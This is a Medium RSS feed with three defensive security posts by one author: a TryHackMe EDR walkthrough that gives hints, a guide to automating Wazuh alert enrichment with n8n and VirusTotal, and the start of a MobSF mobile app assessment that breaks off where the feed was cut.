<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by toluowo on Medium]]></title>
        <description><![CDATA[Stories by toluowo on Medium]]></description>
        <link>https://medium.com/@owolabitolu?source=rss-13d613c0b0bd------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*Ns7i7tLOIOLQ6lWL</url>
            <title>Stories by toluowo on Medium</title>
            <link>https://medium.com/@owolabitolu?source=rss-13d613c0b0bd------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Fri, 20 Nov 2026 11:10:28 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@owolabitolu/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[TryHackMe: Introduction to EDR — Walkthrough]]></title>
            <link>https://medium.com/@owolabitolu/tryhackme-introduction-to-edr-walkthrough-a7164870b627?source=rss-13d613c0b0bd------2</link>
            <guid isPermaLink="false">https://medium.com/p/a7164870b627</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[thm-walkthrough]]></category>
            <category><![CDATA[soc]]></category>
            <category><![CDATA[edr]]></category>
            <dc:creator><![CDATA[toluowo]]></dc:creator>
            <pubDate>Tue, 04 Aug 2026 00:05:14 GMT</pubDate>
            <atom:updated>2026-08-04T00:05:14.288Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_VPSe_V_diGX7w7hHpvDhw.png" /></figure><p>This walkthrough is designed to guide cybersecurity analysts and enthusiasts in understanding EDR. See the <a href="https://tryhackme.com/room/introductiontoedrs">official link</a> for the TryHackMe room.</p><p>Also, to maximize learning outcomes for readers, I will avoid providing answers directly as much as possible and will instead provide guidance in most parts.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/256/1*lmE-SVDZF4wZnfuyhhTO9w.jpeg" /></figure><p><strong>Introduction</strong></p><p><strong>Endpoint Detection and Response</strong> (<strong>EDR</strong>), also known as E<strong>ndpoint Threat Detection and Response</strong> (<strong>ETDR</strong>), is a cybersecurity technology that continually monitors an “endpoint” (e.g., a client device such as a mobile phone, laptop, Internet of Things device) to mitigate malicious cyber threats. It is designed to monitor, detect, and respond to advanced threats at the endpoint level. As a SOC analyst, it is essential for you to understand how EDR works since it is a widely adopted solution in organizations to protect their endpoints.</p><blockquote><strong>Task 1</strong></blockquote><p>No answers needed.</p><blockquote><strong>Task 2 — What is an EDR?</strong></blockquote><p>Endpoint Detection and Response (EDR) is a security solution that continuously monitors endpoint devices (such as laptops and servers) to detect, investigate, and respond to cyber threats, even when devices are outside the organization’s network. Unlike traditional antivirus solutions, EDR provides detailed visibility into endpoint activities, enabling analysts to understand the full context of an attack.</p><p>The three core capabilities of an EDR are</p><ul><li><strong>Visibility:</strong> Collects detailed endpoint telemetry, including processes, file changes, registry modifications, user actions, and process trees, giving analysts complete context during investigations.</li><li><strong>Detection:</strong> Uses signature-based detection, behavioral analysis, machine learning, and custom IOCs to identify both known and advanced threats, including fileless malware.</li><li><strong>Response:</strong> Allows analysts to quickly contain threats by isolating endpoints, terminating malicious processes, quarantining files, and remotely executing response actions from a centralized console.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/904/1*I2REYRPQ2ShZPYq-30XtKA.png" /></figure><p><strong>Question 1: </strong>Which feature of EDR provides a complete context for all the detections?</p><p><strong>Answer: </strong>The answer can be found in the visibility section, which explains that EDR provides rich endpoint telemetry and that “any detections in the EDR land with a whole context.”</p><p><strong>Question 2: </strong>Which process spawned sc.exe?<br><strong>Answer: </strong>The answer can be found from the process tree screenshot within the visibility section. If you examine the process tree screenshot, you will be able to easily identify the parent process (process that spawned) of “sc.exe”. See the screenshot below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*petSeyrzhrmu80eq0sPLWQ.png" /></figure><blockquote><strong>Task 3 — Beyond the Antivirus</strong></blockquote><p>You might want to ask this important question: Why do we need an EDR when we already have an Antivirus (AV) on the endpoints?</p><p>While both Antivirus (AV) and Endpoint Detection and Response (EDR) aim to protect endpoints, they differ significantly in their capabilities. An AV primarily relies on signature-based detection, making it effective against known threats but less capable of identifying sophisticated or previously unseen attacks. In contrast, an EDR continuously monitors endpoint behavior, providing greater visibility, detecting suspicious activities, and enabling rapid response to advanced threats.</p><p>The THM room illustrates this using an airport analogy:</p><p>Antivirus (AV) is like the immigration checkpoint, which checks passengers against a database of known criminals.<br>EDR is like the security officers inside the airport, who continuously monitor behavior and can investigate or respond if suspicious activity is observed.</p><p>A sample attack scenario demonstrates the difference: a phishing email delivers a malicious document that launches PowerShell, injects malware into svchost.exe, and establishes remote access. While an AV may miss this attack because it lacks behavioral visibility, an EDR detects the suspicious process relationships, code injection, and abnormal endpoint behavior, allowing analysts to respond before the attack succeeds.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/904/1*RqVzBq3qUuCRnlsCLa_stw.png" /></figure><p><strong>Question 1: </strong>In the given analogy, what presents an AV?</p><p><strong>Answer: </strong>Recall the airport analogy.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ExP1j7eIlfl6CZVjwjf46Q.png" /></figure><p><strong>Question 2: </strong>Which legitimate process was hijacked by the attacker in the scenario?</p><p><strong>Answer: </strong>Check the scenario breakdown list to find the answer.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_U-A3TujCG96m4g8mK3Ztg.png" /></figure><p><strong>Question 3: </strong>Which security solution might mark this activity as clean?</p><p><strong>Answer: </strong>Check the comparison table for the answer.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*N-V-2e_YZh4UNR3lIHxZiw.png" /></figure><blockquote><strong>Task 4 — How an EDR works?</strong></blockquote><p>Let’s check out how an EDR works now by examining the image below to have an overview.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*M12xdTufBkVazJN6UXqChg.png" /></figure><p>An EDR works through two main components: EDR Agents and the EDR Console. Agents (also called sensors) are installed on endpoint devices to continuously monitor activities such as process execution, file changes, and network connections. They collect telemetry in real time and send it to the centralized EDR console, where basic detections can also be performed locally.</p><p>The EDR Console acts as the brain of the solution. It correlates telemetry from all endpoints, applies threat intelligence and machine learning, and generates alerts when suspicious activity is detected. This centralized dashboard provides analysts with a holistic view of security events across the organization.</p><p>Once an alert is generated, a SOC analyst reviews its severity, investigates the available evidence (such as executed processes, files, network connections, and registry changes), determines whether it is a true or false positive, and takes appropriate response actions if necessary. In enterprise environments, EDR typically integrates with other security solutions such as firewalls, email security gateways, IAM, and SIEM to provide comprehensive threat detection and response.</p><p><strong>Question 1: </strong>Which component of the EDR is responsible for collecting telemetry from the endpoints?<br><strong>Answer: </strong>Check the “Agent” section to see the answer.<br>EDR <strong>agents</strong> monitor endpoint activities and send telemetry to the EDR console.</p><p><strong>Question 2: </strong>An EDR agent is also known as a?<br><strong>Answer: </strong>Check the “Agent” section again for the answer.<br>EDR agents are also referred to as <strong>sensors</strong>.</p><blockquote><strong>Task 5 — EDR Telemetry</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*M12xdTufBkVazJN6UXqChg.png" /></figure><p>Telemetry is the detailed data collected by EDR agents from endpoint devices and sent to the EDR console. It serves as the “black box” of an endpoint, providing the information needed for threat detection, investigation, and incident response.</p><p>An EDR collects several types of telemetry, including process executions, network connections, command-line activity, file and folder modifications, and registry modifications. By analyzing this telemetry with threat intelligence and machine learning, the EDR can identify advanced attacks that may appear harmless when viewed as individual events. The collected data also enables analysts to reconstruct the attack timeline and determine the root cause of an incident.</p><p><strong>Question 1:</strong> Which telemetry data helps in detecting C2 communications?<br><strong>Answer: </strong>Network Connections subsection explained that monitoring network connections helps identify communication with C2 servers.</p><p><strong>Question 2:</strong> Where are the configuration settings of a Windows system primarily stored?<br><strong>Answer: </strong>Registry Modifications subsection stated that the Windows Registry contains the system’s configuration information.</p><blockquote><strong>Task 6 — Detection and Response Capabilities</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/703/1*kj3cP8IIzOkcrY6fGoMF8A.png" /></figure><p>Modern EDR solutions use multiple advanced detection techniques to identify threats that traditional antivirus solutions may miss. These include behavioral detection (identifying suspicious behavior such as unusual parent-child process relationships), anomaly detection (detecting deviations from normal endpoint behavior), IOC matching (comparing activities against known threat intelligence), MITRE ATT&amp;CK mapping (associating detections with attack tactics and techniques), and machine learning, which identifies complex attack patterns such as fileless and multi-stage attacks.</p><p>Once a threat is detected, the EDR provides several response capabilities to contain and investigate the incident. Analysts can isolate an infected host, terminate malicious processes, quarantine malicious files, remotely access endpoints for further investigation, and collect forensic artifacts such as memory dumps, event logs, registry hives, and specific folder contents. These capabilities enable rapid containment and detailed incident analysis.</p><p><strong>Question 1: Which feature of the EDR helps you identify threats based on known malicious behaviours?<br>Answer: </strong>IOC Matching subsection explains that the EDR compares endpoint activity against known Indicators of Compromise (IOCs) from threat intelligence feeds to identify known malicious behavior.</p><blockquote><strong>Task 7 — Investigate an alert on EDR</strong></blockquote><p><strong>Question 1: </strong>Which tool was launched by CMD.exe to download the payload on DESKTOP-HR01?<strong><br>Answer: </strong>Click on the “View Site” button to launch the website that should take you to the “EDR Dashboard”. From the dashboard, scroll to see the “Recent Detection” section and then select the entry where the host is “DESKTOP-HR01” as demanded in the question. See screenshot below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*twPtVZLzlyiMnJZKTW2J-g.png" /></figure><p>The details page should then open and default to the summary page. Select the next tab, which is the “Process Info” tab, and investigate the process chain to see the tool launched by CMD.EXE as can be seen in the image below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*evpIezAvkOlb8CeKk2v9yg.png" /></figure><p><strong>Question 2: </strong>What is the absolute path to the downloaded malware on the DESKTOP-HR01 machine?<strong><br>Answer: </strong>Select the IOC/Indicators tab to find the answer as can be seen from the image below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2iLF055XvLcQxuxPq5gehA.png" /></figure><p><strong>Question 3: </strong>What is the absolute path to the suspicious syncsvc.exe on the WIN-ENG-LAPTOP03 machine?<br><strong>Answer</strong>: Click on “All Detections” at the top left to take you back to the “Recent Detections” list in order to be able to select the appropriate host, as seen in the screenshot below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bImShTkphS2vqCJjc-ukFA.png" /></figure><p>Select “WIN-ENG-LAPTOP03” which is the second entry on the list, to see details. Select the “IOC/Indicators” tab to find your answer. See screenshot below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aDlj-wlVmBBjDpb7_93MnA.png" /></figure><p><strong>Question 4: </strong>On which URL was the exfiltration attempt being made on WIN-ENG-LAPTOP03?<br><strong>Answer: </strong>Click on the “Process Info” tab of <strong>“</strong>WIN-ENG-LAPTOP03” and select the “syncsvc.exe” button from the “Process Chain” section to find the answer. See screenshot below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oyC8UL279vyVy5ZW3SPeQw.png" /></figure><p><strong>Question 5:</strong> What was UpdateAgent.exe labelled by Threat Intel on DESKTOP-DEV01?<br><strong>Answer</strong>: Navigate back by clicking on the “All Detections” button in the top left to find the “DESKTOP-DEV01” entry from the “Recent Detections” list, and then select the “Process Info” tab, select the “UpdateAgent.exe” process from the “Process Chain” and locate the “Threat Intel” label. See screenshot below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XNWp1-VMHAdQALLpQHZekg.png" /></figure><p><strong>Conclusion</strong></p><p>In this section, we explored the fundamentals of <strong>Endpoint Detection and Response (EDR)</strong> and why it has become an essential component of modern SOC operations. We learned how EDR extends beyond traditional antivirus by continuously collecting endpoint telemetry, applying advanced detection techniques, and enabling analysts to rapidly investigate and respond to threats.</p><p>We also examined the core architecture of an EDR, the role of endpoint agents and the central console, the importance of telemetry in threat hunting, and the various detection and response capabilities that help contain malicious activity. Together, these features provide security analysts with the visibility and context needed to identify, investigate, and remediate endpoint threats efficiently.</p><p>With this foundation in place, you’re now better prepared to understand how EDR solutions are used in real-world SOC environments and how they integrate with other security technologies to strengthen an organization’s overall security posture.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a7164870b627" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How I Automated Security Incident Response with n8n, VirusTotal, and Wazuh]]></title>
            <link>https://medium.com/@owolabitolu/how-i-automated-security-incident-response-with-n8n-virustotal-and-wazuh-5b71f545e44a?source=rss-13d613c0b0bd------2</link>
            <guid isPermaLink="false">https://medium.com/p/5b71f545e44a</guid>
            <category><![CDATA[wazuh]]></category>
            <category><![CDATA[devsecops]]></category>
            <category><![CDATA[n8n-workflow-automation]]></category>
            <category><![CDATA[virustotal]]></category>
            <category><![CDATA[automation]]></category>
            <dc:creator><![CDATA[toluowo]]></dc:creator>
            <pubDate>Fri, 01 Aug 2025 09:59:46 GMT</pubDate>
            <atom:updated>2025-08-01T09:59:46.814Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/992/1*IO-i5Ft_cYGtVH3iXOWhxQ.png" /></figure><h3>Introduction</h3><p>Security teams face a constant flood of alerts, many of which require manual validation and triage. I recently built a workflow that automates this process using <strong>n8n</strong>, a powerful low-code automation tool, along with <strong>VirusTotal</strong>, <strong>Wazuh</strong>, and messaging tools like <strong>Slack</strong> and <strong>Gmail</strong>.</p><p>This post guides you through the process of building an automation pipeline that detects suspicious files, validates them, and responds in real-time.</p><h3><strong>Overview</strong></h3><p>This project automates the threat intelligence process using Wazuh, VirusTotal, and n8n Cloud. It captures alerts from Wazuh, extracts IOCs (Indicators of Compromise), queries VirusTotal for threat intel, and generates an actionable summary, automatically triggering emails, Slack messages, and ticket creation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MwqJMX3paFEnvquWvFAthA.png" /></figure><h3><strong>Prerequisite</strong></h3><p>1. A running instance of Wazuh</p><p>2. A cloud or self-hosted n8n installation</p><p>3. VirusTotal API key</p><p>4. Gmail/Outlook App Password</p><p>5. Slack API key</p><h3>Installations</h3><ol><li><strong>Wazuh</strong>:</li></ol><ul><li>Check out my documentation on Wazuh to install or familiarize yourself below: <a href="https://medium.com/@owolabitolu/using-wazuh-server-to-detect-ssh-brute-force-attacks-and-unauthorized-file-changes-with-file-3a2647c57327">Using Wazuh to Detect SSH Brute-force &amp; File Changes</a></li><li>Official Wazuh installation: <a href="https://documentation.wazuh.com/current/installation-guide/wazuh-server/installation-assistant.html">https://documentation.wazuh.com/current/installation-guide/wazuh-server/installation-assistant.html</a></li></ul><p>2. <strong>n8n: n8n has a couple of installation options as follows:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gGWvKsrc9MG8SBsB_lfzCQ.png" /></figure><p>I’ve tested with the n8n cloud and self-host (Docker) options, which are quite straightforward.</p><p>However, the n8n cloud option has been used for this project because I encountered some challenges in getting the self-hosted n8n to work with the Slack API.</p><p>Go ahead and sign up for n8n cloud and as a first-time user, you will be given a 14-day trial period, which is enough for evaluation before deciding to subscribe.</p><p><strong>3. VirusTotal API key</strong></p><p>Create an account on VirusTotal if you don’t already have one. After verification, click on the profile name and select the “API Key” option.</p><p><strong>4. Gmail setup</strong></p><ul><li>Setting up Gmail has some options for setup, including OAuth2 and ServiceAccount, both of which require a Google Cloud account. OAuth2 is the recommended and secure method by n8n.</li><li>This project used the Gmail SMTP setup with the App Password method because of the problems experienced in setting up the payment method for the Google Cloud Service.</li><li>More details to be shared in the Gmail node step section coming up.</li></ul><p>5. <strong>Slack API Key</strong></p><ul><li>Create a Slack account if you don’t already have one.</li><li>Setup a workspace as well.</li><li>More details to come up in the Slack node step.</li></ul><h3><strong>Workflow Steps</strong></h3><p><strong>Step 1: Webhook Node</strong>—the trigger node that receives alerts from Wazuh.</p><ul><li>In the n8n canvas, open the nodes panel by clicking on the “+” symbol at the top right-hand corner of the workspace.</li><li>Type in webhook in the search bar to drag a webhook node to the workspace.</li><li>Set the ”HTTP method” to “POST.”</li><li>Update the “Path” field to a readable string, e.g., “wazuh-alert.”</li><li>Leave the other options as default.</li><li>Take note of the webhook URL at the top, which will be used to ingest alerts from Wazuh later on.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZYbHrJaVJLShBzyiazd0iw.png" /></figure><p><strong>Step 2: Extract IOCs</strong>: Parses file hash, IP, filename, etc.</p><ul><li>In the n8n canvas, open the nodes panel by clicking on the “+” symbol at the top right-hand corner of the workspace.</li><li>Add a function node this time around.</li><li>Inside the function node, write JavaScript to parse incoming JSON and grab the IOCs like IP, hash, and URL.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BqDJMcL_8HKcwZ7njqRvdQ.png" /></figure><p><strong>Step 3: VirusTotal Request</strong>—To query IP/file reputation.</p><ul><li>Open the node panel and search for the VirusTotal node.</li><li>When the node settings open, set the method to “GET.”</li><li>Update the URL as required depending on the IOCs to be looked up, substituting the IOCs at the end of the URLs below.</li></ul><p>i. For IP: <a href="https://www.virustotal.com/api/v3/ip_addresses/%3cIP">https://www.virustotal.com/api/v3/ip_addresses/&lt;IP</a>&gt;</p><p>ii. For hash: <a href="https://www.virustotal.com/api/v3/files/%3cHASH">https://www.virustotal.com/api/v3/files/&lt;HASH</a>&gt;</p><p>iii. For url: <a href="https://www.virustotal.com/api/v3/domains/%3cDOMAIN">https://www.virustotal.com/api/v3/domains/&lt;DOMAIN</a>&gt;</p><ul><li>In the “Credential for VirusTotal” dropdown, click and select “Create new Credential.”</li><li>Supply the API key from VT (copied earlier) in the provided API Token field in the window that opens and click save at the upper right.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/840/1*zGI3DhnudsbaBQEyHp9bgg.png" /></figure><p><strong>Step 4: Generate Summary</strong>: Gather important info from scan results.</p><ul><li>Add a code node to the workspace.</li><li>Open the code node and add JavaScript code to pull the most important information from the response obtained from VT. This is important because VT always responds with a vast amount of information, which comes with a lot of unneeded information.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/840/1*8m3xcguU6uQBoI0WqQwIEw.png" /></figure><p><strong>Step 5: Summary</strong> <strong>Display</strong>: Formatting the summary using HTML.</p><ul><li>Search for the HTML node from the node panel and select “Generate HTML Template” in the subcategory.</li><li>Update the HTML code as needed and use the desired elements to beautify the results of the summary, as can be seen in the output panel on the right side below.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*L2gwZ3KKYrl2E6XK2whQtw.png" /></figure><p><strong>Step 6: Send Notification</strong>: Send the formatted HTML summary as email to the team.</p><ul><li>This project used both Outlook and Gmail to send the emails.</li><li>There is a predefined Gmail node in n8n that is highly secured and recommended by n8n. It uses OAuth2 for authentication, which requires a Google Cloud account to set up. For this project, I could not use the OAuth2 because the payment methods I attempted to use for the Google Cloud service subscription were declined, so I used the “Send Email” node, which allows for configuring using SMTP settings.</li></ul><p><strong>Follow the following steps in order to use the Google SMTP settings method:</strong></p><p>i. From Google account settings, navigate to the “App Password” section and create a new entry. Give it a name and click create, which will generate a token that needs to be copied, as this will be used as the SMTP account password in n8n.</p><p>ii. Head to n8n, search for the “Send Email -&gt; Send an Email” node, and click on it to begin configuration.</p><p>iii. In the “Credential to connect with” field, select “Create new credential,” and a new window will be displayed as shown below:</p><p>iv. Fill in the fields.</p><p>a. In the user field, supply the Gmail address.</p><p>b. In the password field, supply the token copied from Gmail earlier.</p><p>c. In the host field, type in the smtp server (smtp.gmail.com)</p><p>d. Select a desired port, 465 for SSL or 587 for TLS.</p><p>v. Click on the save button, which should immediately test the connection. You will get a success message if the authentication is successful.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1014/1*DdGZ3ihq4EOfQlVaL7iALg.png" /></figure><p>vi. After saving, we are taken back to the “Send Email” node settings. Update the fields as required, and make sure to select “HTML” for the email format field.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HqxqCqwUVJ4f5MjZsWyebw.png" /></figure><p><strong>Step 7</strong>: <strong>Filter Suspicious Files/IP</strong>: Flags high-risk files.</p><ul><li>Search for a ”Switch” node or “If” node. This node will be used to filter files or IPs that are deemed malicious based on the report from VirusTotal.</li><li>This project deems files/IPs with a malicious count greater than 3 as malicious and will be filtered for the purpose of instant notification via Slack to team members.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GLRNxUdYNjzmxsBhO4Kqmw.png" /></figure><p><strong>Step 9:</strong> <strong>Slack Alert</strong>: Notifying the team in real-time.</p><ul><li>Search for the Slack node, click on it, and select the “Send a Message” option under the “Message Actions” submenu to begin configuration.</li><li>Slack node has 2 methods to authenticate, namely OAuth2 and Access Token, with OAuth2 being the recommended option.</li><li>First things first. Create a Slack account if you don’t already have one and then visit the <a href="https://api.slack.com/apps">Slack API Apps page</a>.</li><li>Click on the “Create New App” button and select the “From Scratch” option.</li><li>Enter an “App Name” and select a “Workspace” to develop your app in.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1014/1*OhQHXL3krnRm8vlg1gDFbA.png" /></figure><ul><li>Click on “Create App,” and the app details will open.</li><li>In the left menu go to Features -&gt; OAuth &amp; Permissions and visit the “Scopes” section.</li><li>Add a new scope ”chat:write” to be able to send notifications as the app.</li><li>Then go to the “Oauth Tokens” section and install to the selected workspace. Click on Allow when prompted and wait to see a ”Success” notification.</li><li>Copy the “Bot User OAuth Token” generated to paste as the access token for n8n credentials.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/854/1*kYtcLsb1bW979TW214LPMw.png" /></figure><ul><li>Paste in the n8n Access Token Field and save.</li><li>Wait to see the “Connection tested successfully” green notification.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/536/1*mjOty92dhml1jSXws_Ekeg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/870/1*YfiH0KetutXXd7LGy-WcCw.png" /></figure><p><strong>Part 2:<br>Testing the Workflow</strong></p><ul><li>For the purpose of testing, you can simulate an attack with Postman or cURL to trigger the Wazuh webhook.</li><li>Click on “Execute workflow” to begin execution.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*brHGuE8DgxtXR1gZsSPEBw.png" /></figure><p><strong>Option 1: Using Postman</strong></p><ul><li>Open the Postman application.</li><li>Create a POST request for the Webhook URL</li><li>Under Body, choose “raw” and make sure to select “JSON.”</li><li>Supply a JSON payload and click on “SEND” to send the request.</li><li>Confirm that the workflow has started by looking at the response in the body pane of the window.</li><li>Go back to n8n to watch the workflow execute.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cEfBVa-DNYvjYUQwv_9_0Q.png" /></figure><p><strong>Option 2: Using cURL</strong></p><ul><li>Open the terminal or command line.</li><li>Supply a simple payload to simulate an attack.</li><li>Go ahead to watch how the workflow executes</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WQ_4d2iBWXEVMk2vO6wmIg.png" /></figure><p><strong>Part 3: Results</strong></p><p>Canvas showing all nodes successfully executed with a green check symbol</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jY7ORcZf_yQbC-Zim3oy3Q.png" /></figure><p><strong>Example HTML email output from gmail</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/972/1*QrzFbZBEhUUdcv265rSsAA.png" /></figure><p><strong>Slack message sample taken from slack channel</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4PEbdTRZuXYvVokFubfczQ.png" /></figure><p><strong>Conclusion</strong></p><p>Traditional SOC workflows are too reliant on manual triage. By automating the enrichment and routing of alerts:</p><ul><li>We accelerate response time</li><li>Reduce alert fatigue</li><li>Improve incident visibility.</li></ul><p>If you’re working in a security operations or blue team environment, this type of automation is a necessity.</p><h3>Final Thoughts</h3><p>If you’re working in a security operations or blue team environment, this type of automation is <strong>not a luxury—it’s a necessity</strong>.</p><p>n8n makes this easier than ever, and integrating it with threat intel tools like VirusTotal bridges the gap between detection and action.</p><p>Have any/some questions? Want help building something similar?<br>Feel free to connect with me on <a href="https://www.linkedin.com/in/tolu-owolabi-toluowo/">LinkedIn</a> or drop a comment below.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5b71f545e44a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Securing Mobile Apps: A Hands-On Assessment Using MobSF, AppSweep & Quixxi]]></title>
            <link>https://medium.com/@owolabitolu/securing-mobile-apps-a-hands-on-assessment-using-mobsf-appsweep-quixxi-5744ee599afe?source=rss-13d613c0b0bd------2</link>
            <guid isPermaLink="false">https://medium.com/p/5744ee599afe</guid>
            <category><![CDATA[app-security]]></category>
            <category><![CDATA[owasp-top-10]]></category>
            <category><![CDATA[devsecops]]></category>
            <category><![CDATA[mobile-security]]></category>
            <category><![CDATA[android-security]]></category>
            <dc:creator><![CDATA[toluowo]]></dc:creator>
            <pubDate>Tue, 17 Jun 2025 14:44:11 GMT</pubDate>
            <atom:updated>2025-06-17T14:44:11.996Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*JGePJQCr7o1w2L2m.jpg" /></figure><h3>Introduction</h3><p>Mobile applications are now an integral part of our digital lives. From financial transactions to health tracking, they handle sensitive data on a daily basis. Yet, many apps lack essential security controls. In this article, I document a hands-on security assessment project focused on Android applications for a startup. The goal? Identify vulnerabilities using real-world tools and improve overall mobile security hygiene.</p><h3>Project Overview</h3><p><strong>Objective</strong>: Evaluate mobile applications for vulnerabilities and misconfigurations.</p><p><strong>Scope</strong>: Android-based applications using sample insecure APKs (e.g., <em>Finstergram</em>, <em>AndroGoat</em>, <em>InsecureShop</em>, <em>InsecureBakv2</em>).</p><p><strong>Approach</strong>: Use of open-source and commercial tools to perform static and dynamic analysis.</p><h3>Understanding Mobile App Security</h3><p>Mobile app security encompasses practices to protect applications from unauthorized access, tampering, data leakage, and other threats across their lifecycle.</p><p><strong>Mobile App Security Testing (MAST)</strong> refers to testing processes that identify and address these security gaps.</p><p>A key resource in this space is the <strong>OWASP Mobile Top 10</strong>, which outlines the most critical risks to mobile apps. As of 2024, the list includes issues like improper platform usage, insecure data storage, and code tampering.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_eZm4EBdk9Q8cq09BhlX7Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8icgZX5wt7eUCChyHhkfMQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kkI5itQcW3YB1PkfFse6Ag.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*abJhCLocJYDQdX6USvZKxw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-98bAocjk8HYbLcAbMfjfg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NNRjW_Tz_HHB7QTm8wRnBg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*banEn8_bCqoI8yoM9ohGIw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*G3EO1gn4poiya0g40fUXNQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DChdmh2K8tXAzEtMxAzbcQ.png" /></figure><h3>Tools and Techniques Used</h3><h4>✅ Mobile Security Framework (MobSF)</h4><ul><li>Open-source, all-in-one framework for automated mobile pen-testing.</li><li>Supports static and dynamic analysis for Android, iOS, and Windows.</li></ul><p><strong>Setup:</strong></p><ul><li>Deployed via Docker:<br>docker pull opensecurity/mobile-security-framework-mobsf:latest docker run -it --rm -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest</li></ul><p><strong>Analysis Performed On</strong>:</p><ul><li><em>Finstergram</em> and <em>AndroGoat</em> APKs</li><li>Identified high-severity issues in manifest and network security</li></ul><p><strong>Key Output</strong>:</p><ul><li>Security scorecard</li><li>Vulnerability breakdown (e.g., debuggable attribute, exported activities)</li><li>Network &amp; code analysis.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9mLKHZRORtOK2QLjorLxzA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iYivhj6sDn13Zo-uffKWLA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*u5PttH0_lNMej983Qp_mUw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DqKjNtBhmgJBMSAQIEvNyg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SwP4NY_QGpTXqyRxtV9iIw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HhtI1ip9HGwWseKZqZHwGw.png" /></figure><figure><img alt="" 